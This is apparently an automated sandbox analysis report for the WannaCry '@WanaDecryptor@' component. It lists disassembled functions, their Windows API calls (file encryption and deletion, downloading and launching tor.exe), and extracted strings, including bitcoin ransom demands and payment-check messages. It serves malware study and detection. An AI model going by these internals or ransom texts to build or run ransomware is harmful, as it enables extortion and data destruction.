                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #1200#800$#537#6453#924CloseDeleteFileHandleObjectSingleTerminateThreadWaitfclosefopenfreadsprintf
                                        • String ID: %08X.dky$Congratulations! Your payment has been checked!Start decrypting now!$Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.$You have a new message:
                                        • API String ID: 2207195628-1375496427
                                        • Opcode ID: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                        • Instruction ID: 8b94a0d45af64711c1f2f56a46f7a966efbefe6460f93d7d0814001cf74dce0a
                                        • Opcode Fuzzy Hash: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                        • Instruction Fuzzy Hash: 1D41F371244740EFC330DB64C895BEB7699AB85710F404A3EF25AA32E0DABC5944CB6B
                                        Function 004012E0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • sprintf.MSVCRT ref: 00401323
                                        • sprintf.MSVCRT ref: 00401339
                                        • GetFileAttributesA.KERNEL32(?), ref: 00401343
                                        • DeleteFileA.KERNEL32(?), ref: 0040139A
                                        • fread.MSVCRT ref: 00401405
                                        • fclose.MSVCRT ref: 00401408
                                        • sprintf.MSVCRT ref: 00401440
                                        • fopen.MSVCRT ref: 00401453
                                          • Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A
                                        • fopen.MSVCRT ref: 004013D5
                                          • Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658
                                          • Part of subcall function 004047C0: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                          • Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: sprintf$CriticalDeleteFileSectionfopen$AttributesCryptEncryptInitialize_local_unwind2fclosefread
                                        • String ID: %08X.dky$%08X.eky$%08X.pky$%08X.res$00000000.res$s.wnry
                                        • API String ID: 2787528210-4016014174
                                        • Opcode ID: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                        • Instruction ID: 5d668cda142e4e69bdcb8de65b1bf6b3866dc1aa9a0cfc7ced8feefa58b75360
                                        • Opcode Fuzzy Hash: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                        • Instruction Fuzzy Hash: 8A71BFB1104741AFD320DB60CC85FEBB3E9ABC4310F404A3EE59A87290EB78A4498B56
                                        Function 004076A0 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • time.MSVCRT ref: 004076DA
                                        • sprintf.MSVCRT ref: 0040780E
                                        • SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
                                        • SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
                                        • #540.MFC42 ref: 00407876
                                        • _ftol.MSVCRT ref: 004078AA
                                        • #2818.MFC42(?,$%d,00000000), ref: 004078BE
                                        • #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
                                        • #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
                                        • #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
                                        • #3092.MFC42(00000402,?), ref: 0040791D
                                        • #6199.MFC42(00000402,?), ref: 00407924
                                        • InvalidateRect.USER32(?,00000000,00000001,00000402,?), ref: 0040795A
                                        • #800.MFC42 ref: 0040799F
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2818$MessageSend$#3092#540#6199#800InvalidateRect_ftolsprintftime
                                        • String ID: $%d$%.1f BTC$%02d;%02d;%02d;%02d$00;00;00;00$Send $%d worth of bitcoin to this address:$Send %.1f BTC to this address:
                                        • API String ID: 993288296-3256873439
                                        • Opcode ID: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                        • Instruction ID: 9b53b323f570066dafa0cf34324f53a17123da88a1e7ff32529d6bfb7c89d06c
                                        • Opcode Fuzzy Hash: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                        • Instruction Fuzzy Hash: 3281D4B1A043019BD720DF18C981FAB77E9EF88700F04893EF949DB395DA74A9058B96
                                        Function 00405E10 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5
                                          • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
                                        • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
                                        • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
                                        • #781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9
                                          • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                          • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                          • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                          • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                        • #654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
                                        • #765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072
                                          • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                          • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                        • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
                                        • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
                                        • #616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
                                        • #641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414$#800$#609#654#765#795$#616#641#781
                                        • String ID: #
                                        • API String ID: 2377847243-1885708031
                                        • Opcode ID: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                        • Instruction ID: 200a364df958368678b01019567048f7f095356612ddb79f46c50176d87071e4
                                        • Opcode Fuzzy Hash: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                        • Instruction Fuzzy Hash: C4710A74008782CED305EF65C0453DAFFE4AFA5348F54484EE0DA57292DBB86299CBE6
                                        Function 004032C0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 004032C5
                                        • CreateSolidBrush.GDI32(?), ref: 004032DC
                                        • #1641.MFC42(00000000), ref: 004032E9
                                        • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
                                        • #1641.MFC42(00000000), ref: 0040331F
                                        • #3092.MFC42(00000408,00000000), ref: 0040332B
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
                                        • #3092.MFC42(00000409), ref: 00403353
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
                                        • #3092.MFC42(00000002), ref: 00403372
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
                                        • #3092.MFC42(0000040E), ref: 00403394
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9
                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
                                        • #3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
                                        • SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#3092$#1641Create$#3996#4710BrushFontSolid
                                        • String ID: Arial$Path
                                        • API String ID: 2448086372-1872211634
                                        • Opcode ID: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                        • Instruction ID: b960ea7794e319caf0268359e71fff6d42033abaa4d887be80586a06fbef81fd
                                        • Opcode Fuzzy Hash: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                        • Instruction Fuzzy Hash: 4831D5B13907107BE6249760CD83FAE6659BB84B10F20421EB756BF2D1CEF8AD41879C
                                        Function 00406AE0 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800$#537#924sprintf$#3874#540AttributesFile
                                        • String ID: English$m_%s.wnry$msg\
                                        • API String ID: 3713669620-4206458537
                                        • Opcode ID: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                        • Instruction ID: 3ad7a17867ea9436e9d42ea8b12d154e8c58dea708134770199309aae3637b36
                                        • Opcode Fuzzy Hash: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                        • Instruction Fuzzy Hash: 4A316170108341AEC324EB25D941FDE77A4BBA8714F404E1EF59AC32D1EB789558CAA7
                                        Function 0040B840 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 138synchronizationprocessfileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • sprintf.MSVCRT ref: 0040B87A
                                        • GetFileAttributesA.KERNEL32(?,?,?,?,00000000,?), ref: 0040B88D
                                        • CreateProcessA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9AA
                                          • Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                          • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        • sprintf.MSVCRT ref: 0040B924
                                        • GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
                                          • Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000428), ref: 0040B793
                                          • Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                          • Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                          • Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                          • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
                                        • CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955
                                        • WaitForSingleObject.KERNEL32(?,00001388,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9CF
                                        • WaitForSingleObject.KERNEL32(?,00007530,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9E2
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9EF
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9F6
                                          • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$Delete$Create$AttributesCloseDirectoryHandleObjectSingleWaitsprintf$CacheCopyDownloadEntryNameProcessTemp
                                        • String ID: %s\%s\%s$D$TaskData$Tor$taskhsvc.exe$tor.exe
                                        • API String ID: 4284242699-636499233
                                        • Opcode ID: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                        • Instruction ID: 35d80fb58dc1195f77b7b167f0129d00e9adf464e01d9889cd120ecf7352bd78
                                        • Opcode Fuzzy Hash: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                        • Instruction Fuzzy Hash: 0C4137716443007AD710DBA4EC41BEBB7D4AFE8700F90883FF698532E1D6B99548879E
                                        Function 00402C40 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                        Download Yara Rule
                                        APIs
                                        • LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
                                        • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
                                        • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
                                        • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
                                        • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
                                        • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
                                        • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
                                        • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: AddressProc$LibraryLoad
                                        • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                        • API String ID: 2238633743-1294736154
                                        • Opcode ID: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                        • Instruction ID: a2b5d8bb757b14b28e15fb80ad1863100e1319e91a413c2d323d0fcc62a15203
                                        • Opcode Fuzzy Hash: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                        • Instruction Fuzzy Hash: AA110334B423216BD734AB25BD58FA72695EFD4701795003FA801E76E1D7B89C42CA5C
                                        Function 00405580 Relevance: 27.2, APIs: 18, Instructions: 187windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5785CreateDeleteObjectRect$#1168#1640#2405#2860#323#470#640#755BrushClientCompatibleFillSolid
                                        • String ID:
                                        • API String ID: 1233696098-0
                                        • Opcode ID: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                        • Instruction ID: b627e9c1237585dd637a27707791d59f98fdace04f8481d3914a5fbe5096edf5
                                        • Opcode Fuzzy Hash: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                        • Instruction Fuzzy Hash: 057135716087419FC324DF69C984AABB7E9FB88704F004A2EF59AC3350DB74E845CB66
                                        Function 00408D70 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: _ftol$CapsDevice$#2414$#1641#2754BrushCreateFillRectSolid
                                        • String ID: DZA
                                        • API String ID: 2487345631-3378329814
                                        • Opcode ID: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                        • Instruction ID: dda82c2241e8f2351b86cfb5efeedf8da928c70a362fdc9ee550b763b14e0e54
                                        • Opcode Fuzzy Hash: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                        • Instruction Fuzzy Hash: 2CA147716087418FC324DF25C984AAABBE1FFC8704F148A2EF599D7291DA39D845CF86
                                        Function 00401600 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #2385.MFC42 ref: 00401653
                                        • #537.MFC42(Received response), ref: 00401634
                                          • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                          • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                          • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                        • #537.MFC42(Succeed), ref: 0040166F
                                        • #2385.MFC42(?,?,?,Succeed), ref: 00401684
                                        • #537.MFC42(Sent request), ref: 0040169F
                                        • SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
                                        • #2385.MFC42 ref: 004016D3
                                        • #537.MFC42(Connected), ref: 004016F5
                                        • SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
                                        • #2385.MFC42 ref: 00401729
                                        • #2385.MFC42(?,?,?), ref: 0040174C
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2385$#537$MessageSend$#3092#6199#800
                                        • String ID: Connected$Received response$Sent request$Succeed
                                        • API String ID: 3790904636-3692714192
                                        • Opcode ID: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                        • Instruction ID: e9690c31fbc1831b63af9a5cc079f352e9ea826ed21b4fe1124c0ccffc889961
                                        • Opcode Fuzzy Hash: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                        • Instruction Fuzzy Hash: A631E8B130430067C5209F1AD959EAF7B69EBD4BB4F10852FF149A33D1CA795C4582FA
                                        Function 00404DD0 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 00404DD5
                                        • CreateSolidBrush.GDI32(?), ref: 00404DE9
                                        • #1641.MFC42(00000000), ref: 00404DF3
                                        • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
                                        • #1641.MFC42(00000000), ref: 00404E26
                                        • #3092.MFC42(00000403,00000000), ref: 00404E32
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
                                        • #3092.MFC42(00000001), ref: 00404E57
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
                                        • #3092.MFC42(00000002), ref: 00404E76
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#3092$#1641Create$#4710BrushFontSolid
                                        • String ID: Arial
                                        • API String ID: 1126252797-493054409
                                        • Opcode ID: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                        • Instruction ID: f8dd995afa615cab71677879a74d6ff7c2e305333cbfc3da3be905e2a6067967
                                        • Opcode Fuzzy Hash: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                        • Instruction Fuzzy Hash: CC21C6B13507107FE625A764DD86FAA2759BBC8B40F10011EB345AB2D1CAF5EC41879C
                                        Function 00406DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON
                                        Download Yara Rule
                                        APIs
